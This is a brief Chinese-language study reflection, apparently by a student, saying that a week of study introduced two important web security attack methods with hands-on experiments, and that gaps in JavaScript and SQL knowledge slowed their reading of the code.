經過這一週的學習初步瞭解了 Web 安全攻防中兩種比較重要的攻擊方式,而且進行了實驗。可是因爲本科沒有學過 js 編程和 sql 語句致使研究代碼花費了比較長的時間,之後還要多花時間補習基礎知識。